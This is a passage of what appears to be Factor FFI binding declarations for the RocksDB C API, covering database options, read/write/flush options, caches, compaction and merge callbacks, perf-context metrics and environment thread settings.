rocksdb_options_set_max_bytes_for_level_multiplier_additional (
rocksdb_options_t* dummy_ptr, int* level_values, size_t num_levels )
FUNCTION: void rocksdb_options_enable_statistics (
rocksdb_options_t* dummy )
FUNCTION: void
rocksdb_options_set_skip_stats_update_on_db_open ( rocksdb_options_t* opt,
uchar val )
FUNCTION: uchar
rocksdb_options_get_skip_checking_sst_file_sizes_on_db_open (
rocksdb_options_t* opt )
! returns a pointer to a malloc()-ed, null terminated string
FUNCTION: char* rocksdb_options_statistics_get_string (
rocksdb_options_t* opt )
FUNCTION: void rocksdb_options_set_max_write_buffer_number (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_write_buffer_number (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_min_write_buffer_number_to_merge ( rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_options_get_min_write_buffer_number_to_merge ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_max_write_buffer_number_to_maintain ( rocksdb_options_t* dummy_ptr,
int i1 )
FUNCTION: int
rocksdb_options_get_max_write_buffer_number_to_maintain ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_max_write_buffer_size_to_maintain ( rocksdb_options_t* options,
int64_t i1 )
FUNCTION: int64_t
rocksdb_options_get_max_write_buffer_size_to_maintain ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_enable_pipelined_write (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_enable_pipelined_write ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_unordered_write (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_unordered_write (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_subcompactions (
rocksdb_options_t* dummy_ptr, uint32_t u32_1 )
FUNCTION: uint32_t
rocksdb_options_get_max_subcompactions ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_background_jobs (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_background_jobs (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_background_compactions (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_background_compactions (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_base_background_compactions (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_base_background_compactions (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_background_flushes (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_background_flushes (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_log_file_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_max_log_file_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_log_file_time_to_roll (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_log_file_time_to_roll ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_keep_log_file_num (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_keep_log_file_num ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_recycle_log_file_num (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_recycle_log_file_num ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_soft_rate_limit (
rocksdb_options_t* dummy_ptr, double d1 )
FUNCTION: double rocksdb_options_get_soft_rate_limit (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_hard_rate_limit (
rocksdb_options_t* dummy_ptr, double d1 )
FUNCTION: double rocksdb_options_get_hard_rate_limit (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_soft_pending_compaction_bytes_limit (
rocksdb_options_t* opt, size_t v )
FUNCTION: size_t
rocksdb_options_get_soft_pending_compaction_bytes_limit ( rocksdb_options_t* opt )
FUNCTION: void rocksdb_options_set_hard_pending_compaction_bytes_limit (
rocksdb_options_t* opt, size_t v )
FUNCTION: size_t
rocksdb_options_get_hard_pending_compaction_bytes_limit ( rocksdb_options_t* opt )
FUNCTION: void
rocksdb_options_set_rate_limit_delay_max_milliseconds ( rocksdb_options_t* dummy_ptr,
uint u1 )
FUNCTION: uint
rocksdb_options_get_rate_limit_delay_max_milliseconds ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_manifest_file_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_max_manifest_file_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_table_cache_numshardbits (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_table_cache_numshardbits (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_table_cache_remove_scan_count_limit ( rocksdb_options_t* dummy_ptr,
int i1 )
FUNCTION: void rocksdb_options_set_arena_block_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_arena_block_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_use_fsync (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_use_fsync (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_db_log_dir (
rocksdb_options_t* dummy_ptr, char* dummy )
FUNCTION: void rocksdb_options_set_wal_dir ( rocksdb_options_t* dummy_ptr,
char* dummy )
FUNCTION: void rocksdb_options_set_WAL_ttl_seconds (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_WAL_ttl_seconds ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_WAL_size_limit_MB (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_WAL_size_limit_MB ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_manifest_preallocation_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_manifest_preallocation_size ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_purge_redundant_kvs_while_flush ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: void rocksdb_options_set_allow_mmap_reads (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_allow_mmap_reads (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_allow_mmap_writes (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_allow_mmap_writes (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_use_direct_reads (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_use_direct_reads (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_use_direct_io_for_flush_and_compaction ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_use_direct_io_for_flush_and_compaction ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_is_fd_close_on_exec (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_is_fd_close_on_exec ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_skip_log_error_on_recovery (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_skip_log_error_on_recovery ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_stats_dump_period_sec (
rocksdb_options_t* dummy_ptr, uint u1 )
FUNCTION: uint
rocksdb_options_get_stats_dump_period_sec ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_stats_persist_period_sec (
rocksdb_options_t* options, uint u1 )
FUNCTION: uint
rocksdb_options_get_stats_persist_period_sec ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_advise_random_on_open (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_advise_random_on_open ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_access_hint_on_compaction_start ( rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_options_get_access_hint_on_compaction_start ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_use_adaptive_mutex (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_use_adaptive_mutex (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_bytes_per_sync (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_bytes_per_sync ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_wal_bytes_per_sync (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_wal_bytes_per_sync ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_writable_file_max_buffer_size ( rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_writable_file_max_buffer_size ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_allow_concurrent_memtable_write ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_allow_concurrent_memtable_write ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_enable_write_thread_adaptive_yield ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_enable_write_thread_adaptive_yield ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_max_sequential_skip_in_iterations ( rocksdb_options_t* dummy_ptr,
uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_max_sequential_skip_in_iterations ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_disable_auto_compactions (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: uchar
rocksdb_options_get_disable_auto_compactions ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_optimize_filters_for_hits (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: uchar
rocksdb_options_get_optimize_filters_for_hits ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_delete_obsolete_files_period_micros ( rocksdb_options_t* dummy_ptr,
uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_delete_obsolete_files_period_micros ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_prepare_for_bulk_load (
rocksdb_options_t* dummy )
FUNCTION: void rocksdb_options_set_memtable_vector_rep (
rocksdb_options_t* dummy )
FUNCTION: void rocksdb_options_set_memtable_prefix_bloom_size_ratio (
rocksdb_options_t* dummy_ptr, double d1 )
FUNCTION: double
rocksdb_options_get_memtable_prefix_bloom_size_ratio ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_compaction_bytes (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_max_compaction_bytes ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_hash_skip_list_rep (
rocksdb_options_t* dummy_ptr, size_t s1, int32_t i1, int32_t i2 )
FUNCTION: void rocksdb_options_set_hash_link_list_rep (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: void rocksdb_options_set_plain_table_factory (
rocksdb_options_t* dummy_ptr, uint32_t ui1, int i1, double d1, size_t dummy_size_t )
FUNCTION: void rocksdb_options_set_min_level_to_compress (
rocksdb_options_t* opt, int level )
FUNCTION: void rocksdb_options_set_memtable_huge_page_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_memtable_huge_page_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_successive_merges (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_max_successive_merges ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_bloom_locality (
rocksdb_options_t* dummy_ptr, uint32_t u32_1 )
FUNCTION: uint32_t
rocksdb_options_get_bloom_locality ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_inplace_update_support (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_inplace_update_support ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_inplace_update_num_locks (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_inplace_update_num_locks ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_report_bg_io_stats (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: uchar rocksdb_options_get_report_bg_io_stats (
rocksdb_options_t* options )
ENUM: rocksdb_recovery_enum < uchar
{ rocksdb_tolerate_corrupted_tail_records_recovery 0 }
{ rocksdb_absolute_consistency_recovery 1 }
{ rocksdb_point_in_time_recovery 2 }
{ rocksdb_skip_any_corrupted_records_recovery 3 } ;
FUNCTION: void rocksdb_options_set_wal_recovery_mode (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_wal_recovery_mode (
rocksdb_options_t* options )
ENUM: rocksdb_compression_enum < uchar
{ rocksdb_no_compression 0 }
{ rocksdb_snappy_compression 1 }
{ rocksdb_zlib_compression 2 }
{ rocksdb_bz2_compression 3 }
{ rocksdb_lz4_compression 4 }
{ rocksdb_lz4hc_compression 5 }
{ rocksdb_xpress_compression 6 }
{ rocksdb_zstd_compression 7 } ;
FUNCTION: void rocksdb_options_set_compression (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_compression (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_bottommost_compression (
rocksdb_options_t* options, int i1 )
FUNCTION: int rocksdb_options_get_bottommost_compression (
rocksdb_options_t* options )
ENUM: rocksdb_compaction_enum < uchar
{ rocksdb_level_compaction 0 }
{ rocksdb_universal_compaction 1 }
{ rocksdb_fifo_compaction 2 } ;
FUNCTION: void rocksdb_options_set_compaction_style (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_compaction_style (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_universal_compaction_options (
rocksdb_options_t* dummy_ptr, rocksdb_universal_compaction_options_t* dummy )
FUNCTION: void rocksdb_options_set_fifo_compaction_options (
rocksdb_options_t* opt, rocksdb_fifo_compaction_options_t* fifo )
FUNCTION: void rocksdb_options_set_ratelimiter (
rocksdb_options_t* opt, rocksdb_ratelimiter_t* limiter )
FUNCTION: void rocksdb_options_set_atomic_flush (
rocksdb_options_t* opt, uchar u1 )
FUNCTION: uchar rocksdb_options_get_atomic_flush (
rocksdb_options_t* opt )
FUNCTION: void rocksdb_options_set_row_cache (
rocksdb_options_t* opt, rocksdb_cache_t* cache
)
! RateLimiter
FUNCTION: rocksdb_ratelimiter_t* rocksdb_ratelimiter_create (
int64_t rate_bytes_per_sec, int64_t refill_period_us, int32_t fairness )
FUNCTION: void rocksdb_ratelimiter_destroy ( rocksdb_ratelimiter_t* dummy )
! PerfContext
ENUM: rocksdb_perf_context_enum < uchar
{ rocksdb_uninitialized 0 }
{ rocksdb_disable 1 }
{ rocksdb_enable_count 2 }
{ rocksdb_enable_time_except_for_mutex 3 }
{ rocksdb_enable_time 4 }
{ rocksdb_out_of_bounds 5 } ;
ENUM: rocksdb_options_enum < uchar
rocksdb_user_key_comparison_coun
rocksdb_block_cache_hit_count
rocksdb_block_read_count
rocksdb_block_read_byte
rocksdb_block_read_time
rocksdb_block_checksum_time
rocksdb_block_decompress_time
rocksdb_get_read_bytes
rocksdb_multiget_read_bytes
rocksdb_iter_read_bytes
rocksdb_internal_key_skipped_count
rocksdb_internal_delete_skipped_count
rocksdb_internal_recent_skipped_count
rocksdb_internal_merge_count
rocksdb_get_snapshot_time
rocksdb_get_from_memtable_time
rocksdb_get_from_memtable_count
rocksdb_get_post_process_time
rocksdb_get_from_output_files_time
rocksdb_seek_on_memtable_time
rocksdb_seek_on_memtable_count
rocksdb_next_on_memtable_count
rocksdb_prev_on_memtable_count
rocksdb_seek_child_seek_time
rocksdb_seek_child_seek_count
rocksdb_seek_min_heap_time
rocksdb_seek_max_heap_time
rocksdb_seek_internal_seek_time
rocksdb_find_next_user_entry_time
rocksdb_write_wal_time
rocksdb_write_memtable_time
rocksdb_write_delay_time
rocksdb_write_pre_and_post_process_time
rocksdb_db_mutex_lock_nanos
rocksdb_db_condition_wait_nanos
rocksdb_merge_operator_time_nanos
rocksdb_read_index_block_nanos
rocksdb_read_filter_block_nanos
rocksdb_new_table_block_iter_nanos
rocksdb_new_table_iterator_nanos
rocksdb_block_seek_nanos
rocksdb_find_table_nanos
rocksdb_bloom_memtable_hit_count
rocksdb_bloom_memtable_miss_count
rocksdb_bloom_sst_hit_count
rocksdb_bloom_sst_miss_count
rocksdb_key_lock_wait_time
rocksdb_key_lock_wait_count
rocksdb_env_new_sequential_file_nanos
rocksdb_env_new_random_access_file_nanos
rocksdb_env_new_writable_file_nanos
rocksdb_env_reuse_writable_file_nanos
rocksdb_env_new_random_rw_file_nanos
rocksdb_env_new_directory_nanos
rocksdb_env_file_exists_nanos
rocksdb_env_get_children_nanos
rocksdb_env_get_children_file_attributes_nanos
rocksdb_env_delete_file_nanos
rocksdb_env_create_dir_nanos
rocksdb_env_create_dir_if_missing_nanos
rocksdb_env_delete_dir_nanos
rocksdb_env_get_file_size_nanos
rocksdb_env_get_file_modification_time_nanos
rocksdb_env_rename_file_nanos
rocksdb_env_link_file_nanos
rocksdb_env_lock_file_nanos
rocksdb_env_unlock_file_nanos
rocksdb_env_new_logger_nanos
{ rocksdb_total_metric_count 68 } ;
FUNCTION: void rocksdb_set_perf_level ( int i1 )
FUNCTION: rocksdb_perfcontext_t* rocksdb_perfcontext_create ( )
FUNCTION: void rocksdb_perfcontext_reset (
rocksdb_perfcontext_t* context )
FUNCTION: char* rocksdb_perfcontext_report (
rocksdb_perfcontext_t* context, uchar exclude_zero_counters )
FUNCTION: uint64_t rocksdb_perfcontext_metric (
rocksdb_perfcontext_t* context, int metric )
FUNCTION: void rocksdb_perfcontext_destroy (
rocksdb_perfcontext_t* context )
! Compaction Filter
FUNCTION: rocksdb_compactionfilter_t*
rocksdb_compactionfilter_create (
void* state,
void* fn1, ! void (*destructor)(void*),
void* fn2, ! uchar (*filter)(void* dummy_ptr, int level, char* key,
! size_t key_length, char* existing_value,
! size_t value_length, char** new_value,
! size_t* new_value_length,
! uchar* value_changed),
void* fn3 ! char* (*name)(void*)
)
FUNCTION: void rocksdb_compactionfilter_set_ignore_snapshots (
rocksdb_compactionfilter_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void rocksdb_compactionfilter_destroy (
rocksdb_compactionfilter_t* dummy )
! Compaction Filter Context
FUNCTION: uchar
rocksdb_compactionfiltercontext_is_full_compaction (
rocksdb_compactionfiltercontext_t* context )
FUNCTION: uchar
rocksdb_compactionfiltercontext_is_manual_compaction (
rocksdb_compactionfiltercontext_t* context )
! Compaction Filter Factory
FUNCTION: rocksdb_compactionfilterfactory_t*
rocksdb_compactionfilterfactory_create (
void* state,
void* fn1, ! void (*destructor)(void*),
void* fn2, ! rocksdb_compactionfilter_t* (*create_compaction_filter)(
! void* dummy_ptr, rocksdb_compactionfiltercontext_t* context),
void* fn3 ! char* (*name)(void*)
)
FUNCTION: void rocksdb_compactionfilterfactory_destroy (
rocksdb_compactionfilterfactory_t* dummy )
! Comparator
FUNCTION: rocksdb_comparator_t* rocksdb_comparator_create (
void* state,
void* fn1, ! void (*destructor)(void*),
void* fn2, ! int (*compare)(void* dummy_ptr, char* a, size_t alen, char* b, size_t blen),
void* fn3, ! char* (*name)(void*)
)
FUNCTION: void rocksdb_comparator_destroy (
rocksdb_comparator_t* dummy )
! Filter policy
FUNCTION: rocksdb_filterpolicy_t* rocksdb_filterpolicy_create (
void* state,
void* fn1, ! void (*destructor)(void*),
void* fn2, ! char* (*create_filter)(void* dummy_ptr, char* key_array,
! size_t* key_length_array, int num_keys,
! size_t* filter_length),
void* fn3, ! uchar (*key_may_match)(void* dummy_ptr, char* key, size_t length,
! char* filter, size_t filter_length),
void* fn4, ! void (*delete_filter)(void* dummy_ptr, char* filter, size_t filter_length),
void* fn5 ! char* (*name)(void*)
)
FUNCTION: void rocksdb_filterpolicy_destroy (
rocksdb_filterpolicy_t* dummy )
FUNCTION: rocksdb_filterpolicy_t*
rocksdb_filterpolicy_create_bloom ( int bits_per_key )
FUNCTION: rocksdb_filterpolicy_t*
rocksdb_filterpolicy_create_bloom_full ( int bits_per_key )
! Merge Operator
FUNCTION: rocksdb_mergeoperator_t*
rocksdb_mergeoperator_create (
void* state,
void* fn1, ! void (*destructor)(void*),
void* fn2, ! char* (*full_merge)(void* dummy_ptr, char* key, size_t key_length,
! char* existing_value,
! size_t existing_value_length,
! char* operands_list,
! size_t* operands_list_length, int num_operands,
! uchar* success, size_t* new_value_length),
void* fn3, ! char* (*partial_merge)(void* dummy_ptr, char* key, size_t key_length,
! char* operands_list,
! size_t* operands_list_length, int num_operands,
! uchar* success, size_t* new_value_length),
void* fn4, ! void (*delete_value)(void* dummy_ptr, char* value, size_t value_length),
void* fn5 ! char* (*name)(void*)
)
FUNCTION: void rocksdb_mergeoperator_destroy (
rocksdb_mergeoperator_t* dummy )
! Read options
FUNCTION: rocksdb_readoptions_t* rocksdb_readoptions_create ( )
FUNCTION: void rocksdb_readoptions_destroy (
rocksdb_readoptions_t* dummy )
FUNCTION: void rocksdb_readoptions_set_verify_checksums (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_readoptions_get_verify_checksums ( rocksdb_readoptions_t* readoptions )
FUNCTION: void rocksdb_readoptions_set_fill_cache (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_readoptions_get_fill_cache (
rocksdb_readoptions_t* readoptions )
FUNCTION: void rocksdb_readoptions_set_snapshot (
rocksdb_readoptions_t* dummy_ptr, rocksdb_snapshot_t* dummy )
FUNCTION: void rocksdb_readoptions_set_iterate_upper_bound (
rocksdb_readoptions_t* dummy_ptr, char* key, size_t keylen )
FUNCTION: void rocksdb_readoptions_set_iterate_lower_bound (
rocksdb_readoptions_t* dummy_ptr, char* key, size_t keylen )
FUNCTION: void rocksdb_readoptions_set_read_tier (
rocksdb_readoptions_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_readoptions_get_read_tier (
rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_tailing (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_readoptions_get_tailing (
rocksdb_readoptions_t* options )
! The functionality that this option controlled has been removed.
FUNCTION: void rocksdb_readoptions_set_managed (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void rocksdb_readoptions_set_readahead_size (
rocksdb_readoptions_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_readoptions_get_readahead_size ( rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_prefix_same_as_start (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_readoptions_get_prefix_same_as_start ( rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_pin_data (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_readoptions_get_pin_data (
rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_total_order_seek (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_readoptions_get_total_order_seek ( rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_max_skippable_internal_keys (
rocksdb_readoptions_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_readoptions_get_max_skippable_internal_keys ( rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_background_purge_on_iterator_cleanup (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_readoptions_get_background_purge_on_iterator_cleanup (
rocksdb_readoptions_t* options )
FUNCTION: void rocksdb_readoptions_set_ignore_range_deletions (
rocksdb_readoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_readoptions_get_ignore_range_deletions ( rocksdb_readoptions_t* options )
! Write options
FUNCTION: rocksdb_writeoptions_t*
rocksdb_writeoptions_create ( )
FUNCTION: void rocksdb_writeoptions_destroy (
rocksdb_writeoptions_t* dummy )
FUNCTION: void rocksdb_writeoptions_set_sync (
rocksdb_writeoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_writeoptions_get_sync (
rocksdb_writeoptions_t* options )
FUNCTION: void rocksdb_writeoptions_disable_WAL (
rocksdb_writeoptions_t* opt, int disable )
FUNCTION: uchar rocksdb_writeoptions_get_disable_WAL (
rocksdb_writeoptions_t* opt )
FUNCTION: void rocksdb_writeoptions_set_ignore_missing_column_families (
rocksdb_writeoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_writeoptions_get_ignore_missing_column_families (
rocksdb_writeoptions_t* options )
FUNCTION: void rocksdb_writeoptions_set_no_slowdown (
rocksdb_writeoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_writeoptions_get_no_slowdown (
rocksdb_writeoptions_t* options )
FUNCTION: void rocksdb_writeoptions_set_low_pri (
rocksdb_writeoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_writeoptions_get_low_pri (
rocksdb_writeoptions_t* options )
FUNCTION: void
rocksdb_writeoptions_set_memtable_insert_hint_per_batch ( rocksdb_writeoptions_t* options,
uchar u1 )
FUNCTION: uchar
rocksdb_writeoptions_get_memtable_insert_hint_per_batch (
rocksdb_writeoptions_t* options )
! Compact range options
FUNCTION: rocksdb_compactoptions_t*
rocksdb_compactoptions_create ( )
FUNCTION: void rocksdb_compactoptions_destroy (
rocksdb_compactoptions_t* dummy )
FUNCTION: void
rocksdb_compactoptions_set_exclusive_manual_compaction (
rocksdb_compactoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_compactoptions_get_exclusive_manual_compaction (
rocksdb_compactoptions_t* options )
FUNCTION: void
rocksdb_compactoptions_set_bottommost_level_compaction (
rocksdb_compactoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_compactoptions_get_bottommost_level_compaction (
rocksdb_compactoptions_t* options )
FUNCTION: void rocksdb_compactoptions_set_change_level (
rocksdb_compactoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar
rocksdb_compactoptions_get_change_level ( rocksdb_compactoptions_t* options )
FUNCTION: void rocksdb_compactoptions_set_target_level (
rocksdb_compactoptions_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_compactoptions_get_target_level (
rocksdb_compactoptions_t* options )
! Flush options
FUNCTION: rocksdb_flushoptions_t*
rocksdb_flushoptions_create ( )
FUNCTION: void rocksdb_flushoptions_destroy (
rocksdb_flushoptions_t* dummy )
FUNCTION: void rocksdb_flushoptions_set_wait (
rocksdb_flushoptions_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_flushoptions_get_wait (
rocksdb_flushoptions_t* options )
! Cache
FUNCTION: rocksdb_cache_t* rocksdb_cache_create_lru (
size_t capacity )
FUNCTION: void rocksdb_cache_destroy ( rocksdb_cache_t* cache )
FUNCTION: void rocksdb_cache_set_capacity (
rocksdb_cache_t* cache, size_t capacity )
FUNCTION: size_t
rocksdb_cache_get_capacity ( rocksdb_cache_t* cache )
FUNCTION: size_t
rocksdb_cache_get_usage ( rocksdb_cache_t* cache )
FUNCTION: size_t
rocksdb_cache_get_pinned_usage ( rocksdb_cache_t* cache )
! DBPath
FUNCTION: rocksdb_dbpath_t* rocksdb_dbpath_create ( char* path, uint64_t target_size )
FUNCTION: void rocksdb_dbpath_destroy ( rocksdb_dbpath_t* dummy )
! Env
FUNCTION: rocksdb_env_t* rocksdb_create_default_env ( )
FUNCTION: rocksdb_env_t* rocksdb_create_mem_env ( )
FUNCTION: void rocksdb_env_set_background_threads (
rocksdb_env_t* env, int n )
FUNCTION: int rocksdb_env_get_background_threads (
rocksdb_env_t* env )
FUNCTION: void
rocksdb_env_set_high_priority_background_threads ( rocksdb_env_t* env, int n )
FUNCTION: int rocksdb_env_get_high_priority_background_threads (
rocksdb_env_t* env )
FUNCTION: void rocksdb_env_set_low_priority_background_threads (
rocksdb_env_t* env, int n )
FUNCTION: int rocksdb_env_get_low_priority_background_threads (
rocksdb_env_t* env )
FUNCTION: void
rocksdb_env_set_bottom_priority_background_threads ( rocksdb_env_t* env, int n )
FUNCTION: int
rocksdb_env_get_bottom_priority_background_threads ( rocksdb_env_t* env )
FUNCTION: void rocksdb_env_join_all_threads (
rocksdb_env_t* env )
FUNCTION: void rocksdb_env_lower_thread_pool_io_priority ( rocksdb_env_t* env )
FUNCTION: void rocksdb_env_lower_high_priority_thread_pool_io_priority ( rocksdb_env_t* env )
FUNCTION: void rocksdb_env_lower_thread_pool_cpu_priority ( rocksdb_env_t* env )
